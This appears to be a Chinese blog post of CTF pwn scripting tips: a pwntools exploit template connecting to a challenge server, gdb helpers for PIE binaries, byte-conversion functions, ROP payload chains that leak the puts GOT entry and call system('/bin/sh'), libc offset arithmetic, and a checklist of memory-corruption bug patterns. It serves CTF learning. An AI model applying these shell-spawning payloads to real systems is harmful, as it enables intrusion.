ctf脚本技巧


初始化

脚本的开始

大纲图

#coding=utf-8
from pwn import *
file_path = "./RHVM.bin"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)

debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x121c)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('47.111.104.169', 57404)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

调试方法

用来调试开启PIE的程序

能得到pie的地址运行一些gdb命令

def debug_1(addr,PIE=True):
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)
    else:
        for i in addr:
            text_base=0
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)

debug_1([0x000000000000117C,0x00000000000011B8])

字节转化

比特流转int (0a 21 54–>”0x54210a”)

p.recvuntil("")
info=p.recv(6).ljust(8,"\x00")  #比特流转int
result=u64(info)
print("leak bit to int : ",hex(result))
result

字符串转int(”0x5060a0”–>0x5060a0)

p.recvuntil("0x",drop=True)
info=p.recv(12) #12是64位libc地址的长度  16是64位canary的长度 (不算0x)
result=int(info,16)
print("leak str to int : ",hex(result))

移位

#从fro到to进行移位操作,索引从0开始

def left(item,i):
    return (item<<(i*8))&0xffffffffffffffff
def yiwei(content,fro,to,bit=64):
    if bit==64:
        fro_bit=(content>>(fro*8))&0xff #取出来第fro位
        fro_bit_8=fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)|left(fro_bit,4)|left(fro_bit,5)|left(fro_bit,6)|left(fro_bit,7)#把fro位复制到其他位
        result= (0xff << (to * 8))&fro_bit_8 #删除多余的
        # print("result:",hex(to))
        return result
    if bit==32:
        fro_bit = (content>>(fro*8))&0xff  # 取出来第fro位
        fro_bit_8 = fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)   # 把fro位复制到其他位
        return (0xff << (to * 8)) & fro_bit_8  # 删除多余的

decoding=yiwei(item,3,5)|yiwei(item,2,4)|yiwei(item,1,3)|yiwei(item,0,2)|yiwei(item,4,1)|yiwei(item,5,0)

字符串和16进制数之间的转化

import binascii
def hex2char(data):
   # binascii.a2b_hex(hexstr)
    output = binascii.unhexlify(data)
    print(output)

def char2hex(data):
    output=binascii.b2a_hex(data)
    # output = binascii.hexlify(data)
    print(output)
hex2char("2f62696e2f736800") #/bin/sh
char2hex("/bin"+"/sh\x00")#2f62696e2f736800

常用payload

常用rop(待添加如ret2dl的,栈迁移的等)

泄露puts函数got表

p64(pop_rdi_ret)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(下一次返回的地址)

调用system(“/bin/sh”)

p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.symbols["system"])

计算方法

计算偏移

泄露-目的=偏移——>目的=泄露-偏移
例:

泄露libc地址-vmmap得出来的libc基地址
>>> hex(0x7f5f30f3d780-0x7f5f30b77000)
'0x3c6780'



写在脚本里的是
libc.address=leak-0x3c6780

libc上的地址也可以直接用vmmap 得出,但是栈的地址只能用上面的方法计算出来

pwndbg> vmmap 0x7f5f3086e000+0x50
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7f5f3086e000     0x7f5f30976000 r-xp   108000 0      /lib/x86_64-linux-gnu/libm-2.23.so +0x50

关注漏洞点

  • 索引越界,所有对连续内存元素的存取都要有限制
  • 如果索引为负数有没有限制,索引是否为无符号数
  • 释放后指针有没有清零
  • 定义的read函数有没有溢出,NULL byte溢出,一字节溢出,\n溢出
  • 如果size为0,malloc的结果和read的结果
  • 格式化字符串漏洞

评论
 上一篇
vmpwn学习-2019CISCN-pwn-virtual vmpwn学习-2019CISCN-pwn-virtual
vmpwn解释器认识虚拟机定义的时候会定义一个全局变量的枚举类型,里面存放指令 题目分析总体结构__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *exec
2020-11-11
下一篇 
2020全国电信和互联网行业网络安全管理职业技能竞赛pwn-WP 2020全国电信和互联网行业网络安全管理职业技能竞赛pwn-WP
pwn2自己只做了pwn2,就从pwn2开始 c++用于输入输出,主要逻辑是用c实现的。因为会调用c++的库,这里涉及到一些库的库的加载。 漏洞分析 当进行add的时候如果size为0将会成功申请空间 在edit的时候如果size为0可以
2020-11-10 九层台
  目录